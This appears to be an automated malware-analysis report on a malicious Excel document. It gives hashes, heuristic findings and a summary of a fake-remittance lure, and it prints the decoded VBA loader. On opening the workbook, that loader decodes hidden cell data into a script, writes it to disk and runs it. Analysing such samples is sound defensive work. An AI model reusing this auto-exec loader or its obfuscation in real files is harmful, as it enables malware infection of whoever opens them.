Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7c16a7c8296b293…

MALICIOUS

Office (OLE)

660.0 KB Created: 2018-07-26 00:26:51 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: b44b877cd497d2e932b11d3bbdb0b425 SHA-1: 9a5eb987328c31ed66294dc36ef428360e71d3b3 SHA-256: b7c16a7c8296b293d8baa0280d2790c2b031980431a3c81aa82d56b995ffa343
264 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel document containing an obfuscated VBA macro loader. The macro executes a script named '//klWorkbook.sct' using 'mshta.exe' and 'Wscript.Shell', which is likely responsible for downloading and executing a second-stage payload. The presence of a fake remittance advice in the document body suggests a lure to trick the user into enabling macros.

Heuristics 9

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Next klClipboardFormatObjectDesc
    With CreateObject(Cells(133, 115))
        .CreateTextFile(klThick).Write (klExcel4)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Next klClipboardFormatObjectDesc
    With CreateObject(Cells(133, 115))
        .CreateTextFile(klThick).Write (klExcel4)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klClipboardFormatObjectDesc In ActiveWorkbook.Sheets(CStr(Cells(135, 131))).Range(CStr(Cells(216, 59)))
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        For Each klClipboardFormatObjectDesc In ActiveWorkbook.Sheets(CStr(Cells(135, 131))).Range(CStr(Cells(216, 59)))
        klThick = Environ(Cells(148, 101)) & Cells(133, 105)
        If klClipboardFormatObjectDesc.Value <> 0 Then
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1190 bytes
SHA-256: e3ef542e2dd88e810bb82afbfb472de0949b75b382608548407b45e04e88ad3a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub WorkBook_Open()
    For Each klClipboardFormatObjectDesc In ActiveWorkbook.Sheets(CStr(Cells(135, 131))).Range(CStr(Cells(216, 59)))
        klThick = Environ(Cells(148, 101)) & Cells(133, 105)
        If klClipboardFormatObjectDesc.Value <> 0 Then
            klExcel4 = klExcel4 & Chr(klClipboardFormatObjectDesc.Value - 1300)
        End If
    Next klClipboardFormatObjectDesc
    With CreateObject(Cells(133, 115))
        .CreateTextFile(klThick).Write (klExcel4)
    End With
With CreateObject(Cells(72, 102))
.Exec Cells(126, 112) & klThick
End With
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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